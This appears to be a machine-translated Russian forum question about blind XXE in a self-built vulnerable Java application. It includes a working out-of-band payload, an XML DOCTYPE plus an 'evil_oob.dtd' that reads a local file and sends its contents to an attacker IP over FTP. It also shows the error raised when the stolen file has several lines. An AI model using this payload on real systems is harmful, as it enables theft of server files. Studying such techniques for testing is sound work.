XXE - Невозможно получить файлы с несколькими строками - PullRequest
0 голосов
/ 15 октября 2019

Я создал приложение Java, уязвимое для (слепого) XXE.

Я могу использовать уязвимость и получить файл, содержащий одну строку, используя следующий подход:

1) Перехватите запрос XML и измените его следующим образом:

<?xml version='1.0'?>
    <!DOCTYPE xxe [
        <!ENTITY % EvilDTD SYSTEM 'http://192.168.27.152/evil_oob.dtd'>
        %EvilDTD;
        %LoadOOBEnt;
        %OOB;
    ]>

2) На 192.168.27.152 подайте следующую порцию evil_oob.dtd на порт 80:

<!ENTITY % resource SYSTEM "file:///C:/temp/test.txt">
<!ENTITY % LoadOOBEnt "<!ENTITY &#x25; OOB SYSTEM 'ftp://192.168.27.152:2121/%resource;'>">

3) Запуститемодифицированный FTP-сервер ( Python ) на компьютере злоумышленника с портом 2121.

Как я объяснил ранее, все работает нормально, когда test.txt содержит одну строку. Однако, если test.txt содержит несколько строк (и, следовательно, возврат каретки), URL-адрес ftp недействителен, и я получаю следующую ошибку:

java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP
command     at
 sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:518)

<... snip ...>

at java.lang.Thread.run(Thread.java:748) Caused by:
  sun.net.ftp.FtpProtocolException: Illegal FTP command     at
  sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:533)   at
  sun.net.ftp.impl.FtpClient.openDataConnection(FtpClient.java:752)     at
  sun.net.ftp.impl.FtpClient.getFileStream(FtpClient.java:1293)     at
  sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:435)
    ... 114 more Caused by: java.lang.IllegalArgumentException: **Illegal
  carriage return**     at
  sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:535)

Я также пытался заменить FTP-сервер другимhttp-сервер работает на другом порту, но я, конечно, получаю похожую ошибку, поскольку URL-адрес также недействителен в этом случае.

Мне интересно, возможно ли вообще получить файл, содержащий несколько строк? через слепой XXE? Я знаю, что с PHP вы иногда можете использовать фильтры PHP для кодирования файла base64, но это не относится к Java.

Я прочитал десятки сообщений, но не смог найти способ достичь своей цели.

...